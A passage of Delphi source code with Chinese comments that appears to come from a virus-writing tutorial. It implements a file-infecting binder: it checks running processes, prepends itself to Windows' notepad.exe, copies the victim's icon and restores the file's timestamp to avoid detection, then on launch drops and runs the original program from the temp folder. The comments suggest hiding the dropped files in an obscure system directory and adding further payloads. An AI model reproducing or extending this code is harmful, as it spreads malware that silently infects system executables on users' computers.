{将本文件与文件s合并 本文件+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
{ 加入本程序的前部40751字节
第40752字节开始共640字节为图标数据
!!以下数字 40751,81要根据实际情况修改!! }
s1.copyfrom(s2,40751);
{将图标换为被捆绑程序图标,图标大小为766}
IcoStream.Position:=126;
s1.CopyFrom(IcoStream,640);
IcoStream.Free;
s2.Position:=40751+640;
{加入本程序的后部81字节}
s1.CopyFrom(s2,81);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
{加入被捆绑程序全部}
s1.copyfrom(s2,s2.size);
s2.free;
{得到文件s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢复文件s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
except end;
end;
procedure CreateFileAndRun;
var
s1,s2:TMemoryStream;
TempDir:pchar;
cmdstr:string;
a:integer;
Begin
s1:=TMemoryStream.Create;
s1.loadfromfile(ExeName);
if s1.Size=MySize then
begin
s1.Free;
exit;
end;
s1.seek(MySize,soFromBeginning);
s2:=TMemoryStream.Create;
s2.copyfrom(s1,s1.Size-MySize);
GetMem(TempDir,255);
GetTempPath(255,TempDir);
try
{ 把文件释放到临时目录。
如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆) }
s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));
except end;
cmdstr:='';
a:=1;
while ParamStr(a)<>'' do begin
cmdstr:=cmdstr+ParamStr(a)+' ';
inc(a);
end;
{运行真正的程序文件}
winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
freemem(TempDir);
s2.free;
s1.free;
end;
begin
GetMem(WinDir,255);
GetWindowsDirectory(WinDir,255);
ExeName:=ParamStr(0);
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found:=Process32First(handle,lppe);
ProcessStr:='';
while found do
begin
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
found:=Process32Next(handle,lppe);
end;
{如果notepad没运行,就与它捆在一起}
if pos(WinDir+'\notepad.exe',ProcessStr)=0 then
begin
copy2(WinDir+'\notepad.exe');
end;
{其它需要捆绑的文件
if pos(...,ProcessStr)=0 then
begin
copy2(...);
end;
... }
freemem(WinDir);
{ 你想用这个程序干点其它的什么... }
CreateFileAndRun;{释放文件并带参数运行}
end.
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